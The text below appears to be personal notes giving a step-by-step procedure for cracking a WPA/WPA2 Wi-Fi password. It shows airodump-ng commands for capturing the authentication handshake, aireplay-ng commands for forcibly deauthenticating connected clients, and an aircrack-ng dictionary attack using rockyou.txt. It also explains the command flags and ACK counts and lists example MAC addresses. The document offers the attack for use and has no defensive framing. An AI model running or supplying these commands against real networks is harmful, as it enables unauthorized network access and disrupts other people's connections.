**Target Network Password Crack**

* Capture a 4-way handshake ( happens when a device tries to connect to a network )
  + Sudo airodump-ng -c 1 --bssid <MAC Address> -w /home/crashoverride/Documents/captures/ wlan0.
  + Wait for a device to connect to the network.
* Deauthenticate the devices to the AP using:
  + Sudo aireplay-ng -0 1 -a <MAC Address> wlan0
  + Disconnected all devices and wait for a device to connect to the network.
* Locate the Packet Capture folder location & file ( .pcap )
  + This is your HANDSHAKE
* **Aireplay-ng Usage:**
  + Aireplay-ng -0 1 -a <mac address> -c <mac address>
    - -0: deauthentication
    - 1: # of deauths to send (you can send multiple if you wish); 0 means send them continuously
    - -a 00:00:00:FF:FF:FF: MAC address of access point
    - -c FF:FF:FF:00:00:00: MAC address of client to deauthenticate; if omitted then all clients are deauthenticaed.
    - Wlan0: the Interface
  + For directed deauthentications, aireplay-ng sends out a total of 128 packets for each deauth you specify; 64 packets are sent to the AP itself and 64 packets are sent to the Client.
  + [61|63 ACKs]
    - ACKs received from the **Client** | ACKs received from the **AP**
    - It is ok to lose a few packets; If Client was actively communicating at the time, the counts could be greater than 64 packets.
    - This is a good indication if the Client and or AP heard the packets you sent.
      * A zero value indicates they did not hear your packets.
      * Low values indicate you’re too far away (signal strength is poor).
* Crack the WPA key:
  + Sudo aircrack-ng -a2 -2 rockyou.txt -b <MAC Address> handshake.cap
    - B : BSSID of Target Network
    - -a2 : WPA2 mode
    - Rockyou.txt : Dictionary file used
    - Handshake.cap : File containing the captured handshake
* Equipment Needed:
  + MAC address of PC running aircrack-ng suite: **00:0F:B5:88:AC:82**
  + MAC address of the wireless client using WPA2: **00:0F:B5:FD:FB:C2**
  + BSSID (MAC address of access point): **00:14:6C:7E:40:80**
  + ESSID (Wireless network name): **teddy**
  + Access Point Channel: **1-12**
  + Wireless interface: **wlan0**
* Objective:
  + Capture WPA/WPA2 authentication handshake and then use aircrack-ng to crack the pre-shared key.
    - Active
      * Deauthenticate an existing client.
    - Passive
      * Wait for a client to “authenticate” / “connect” to the WPA/WPA2 wireless network.
      * The advantage of passive is that you don’t need injection capability.
* Basic Usage Steps:
  + Start wireless interface in monitor mode on specific AP channel.
  + Start airodump-ng on AP channel with filter for bssid to collect authentication handshake.
  + Use aireplay-ng to deauthenticate the wireless client.
  + Run aircrack-ng to crack the pre-shared key using the authentication handshake.